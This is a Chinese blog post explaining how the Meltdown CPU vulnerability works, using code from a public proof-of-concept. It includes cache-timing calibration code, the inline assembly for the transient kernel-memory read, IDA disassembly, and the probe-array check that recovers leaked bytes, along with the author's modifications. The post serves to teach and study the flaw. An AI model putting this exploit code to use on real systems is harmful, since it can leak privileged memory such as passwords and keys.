前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >对CPU漏洞Meltdown的理解

对CPU漏洞Meltdown的理解

作者头像
用户1423082
发布2024-12-31 18:24:16
发布2024-12-31 18:24:16
7400
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

步骤1

先获取cached和uncached的读取时间,根据这个两个时间设置一个阀值

下面的代码是循环ESTIMATE_CYCLES次后取读取时间的平均值,再计算阀值

代码语言:javascript
代码运行次数:0
复制
#define ESTIMATE_CYCLES	1000000
static void
set_cache_hit_threshold(void)
{
	long cached, uncached, i;

	if (0) {
		cache_hit_threshold = 80;
		return;
	}

	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
		cached += get_access_time(target_array);

	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
		cached += get_access_time(target_array);

	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
		_mm_clflush(target_array);
		uncached += get_access_time(target_array);
	}

	cached /= ESTIMATE_CYCLES;
	uncached /= ESTIMATE_CYCLES;

	cache_hit_threshold = mysqrt(cached * uncached);

	printf("cached = %ld, uncached = %ld, threshold %d\n",
	       cached, uncached, cache_hit_threshold);
}

这是某次运行时候计算的结果

cached = 30, uncached = 416, threshold 111

可以看到 uncached的读取实践明显高于cached,我们可以根据有无cached进行推测一些东西

步骤2

步骤2是将我们想要读取的值读取到eax(实际是al,编译后查看汇编是movzx eax, byte ptr [rdi],其中rdi就是我们要读取的addr),这时候重要的操作来了,我们获取到的al只是作为target数组的索引(这里的target即target_array数组),由于推测执行和乱序执行,target+ rax * 4096这个地址的值就被缓存下来了(这是重点)

关键代码

代码语言:javascript
代码运行次数:0
复制
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"                     //这300个指令我试过删掉也是可以的,不影响

"movzx (%[addr]), %%eax\n\t"   // 将要泄露的值读取一个byte到eax(这是会权限检查,比较耗资源,而乱序执行和推测执行使得cpu从addr获取到值赋值给eax后,不等待检查结束就执行下面的3条指令)
"shl $12, %%rax\n\t"           // 将rax * 4096
"jz 1b\n\t"                    // 如果是0就跳回开头的循环处了
"movzx (%[target], %%rax, 1), %%rbx\n" //之后将target+ rax * 4096给到rbx

为了方便,也贴一下ida看到的汇编代码

代码语言:javascript
代码运行次数:0
复制
......
......(这个add指令共300条)
.text:000000000040132A                 add     rax, 141h
.text:0000000000401330                 add     rax, 141h
.text:0000000000401336                 add     rax, 141h
.text:000000000040133C                 add     rax, 141h
.text:0000000000401342                 add     rax, 141h
.text:0000000000401348                 add     rax, 141h
.text:000000000040134E                 movzx   eax, byte ptr [rdi]
.text:0000000000401351                 shl     rax, 0Ch
.text:0000000000401355                 jz      loc_400C46
.text:000000000040135B                 movzx   rbx, byte ptr [rdx+rax]

步骤3

这时候我们再尝试测试读取target+ i * 4096,一旦发现这个读取时间小于阀值(threshold),那么就证明这时候的i就是之前读取出来的al的值了,即从侧面知道了之前读取的值了

作者代码如下:

代码语言:javascript
代码运行次数:0
复制
static int cache_hit_threshold;
static int hist[VARIANTS_READ];
void check(void)
{
	int i, time, mix_i;
	volatile char *addr;

	for (i = 0; i < VARIANTS_READ; i++) {
		mix_i = ((i * 167) + 13) & 255;

		addr = &target_array[mix_i * TARGET_SIZE];
		time = get_access_time(addr);

		if (time <= cache_hit_threshold)
			hist[mix_i]++;
	}
}

我改成直接读取&target_array[i * TARGET_SIZE];也是可以的,修改如下

代码语言:javascript
代码运行次数:0
复制
void check(void)
{
        int i, time, mix_i;
        volatile char *addr;

        for (i = 0; i < VARIANTS_READ; i++) {
                //mix_i = ((i * 167) + 13) & 255;
                mix_i = i;
                addr = &target_array[mix_i * TARGET_SIZE];
                time = get_access_time(addr);

                if (time <= cache_hit_threshold)
                        hist[mix_i]++;
        }
}

其中mix_i就是真正泄露出来的值,而hist[mix_i]是所谓的分数,即这个值命中了几次,因为推测执行和乱序执行不一定每次都能执行到那里了,所以对于读取每一个byte,都循环执行了1000次,当然每次执行前都要将target_arrayflush掉

代码语言:javascript
代码运行次数:0
复制
for (i = 0; i < 256; i++)
	_mm_clflush(&target_array[i * 4096]);

所以要提高泄露数据的成功率,可以增加读取每个byte时候的循环次数

下面可以看到1000次成功0到5次

references

https://weibo.com/ttarticle/p/show?id=2309404192925885035405 https://github.com/paboldin/meltdown-exploit/blob/master/meltdown.c

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-01-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 步骤1
  • 步骤2
  • 步骤3
  • references
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档